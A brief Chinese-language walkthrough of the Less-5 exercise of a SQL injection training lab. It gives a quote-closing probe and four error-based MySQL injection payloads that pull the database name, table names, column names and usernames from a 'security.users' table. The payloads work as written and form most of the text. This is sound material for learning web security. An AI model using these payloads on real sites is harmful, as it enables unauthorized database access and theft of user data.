SQLI DUMB SERIES-5

?id=1'--+
构造闭合

SQLI DUMB SERIES-5没有回显
这里使用报错型
?id=-1' AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--+

?id=-1' AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 3,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--+

?id=-1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x7365637572697479 LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--+

?id=-1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username) AS CHAR),0x7e)) FROM security.users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--+

LIMIT(value1,value2)：从第value1开始取值，取value2个